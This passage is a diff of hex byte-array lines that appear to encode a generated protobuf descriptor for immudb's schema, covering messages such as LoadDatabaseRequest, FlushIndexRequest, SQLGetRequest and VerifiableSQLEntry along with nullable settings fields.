0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, - 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, - 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, - 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, - 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, - 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, - 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, - 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, + 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, + 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, + 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, + 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, + 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, + 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, + 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, + 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, + 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, + 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, + 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, + 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, + 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, + 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, + 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, + 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x42, + 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, + 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, 0x16, 0x62, 0x75, 0x6c, + 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, + 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x16, + 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, + 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, + 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, + 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, + 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, + 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, + 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, + 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, - 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, - 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, - 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, - 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, - 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x22, 0xa3, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, - 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, - 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, - 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, - 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, - 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, - 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, - 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, - 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, - 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, - 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, - 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, - 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, - 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, - 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, - 0x49, 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, - 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, - 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, - 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, - 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, - 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 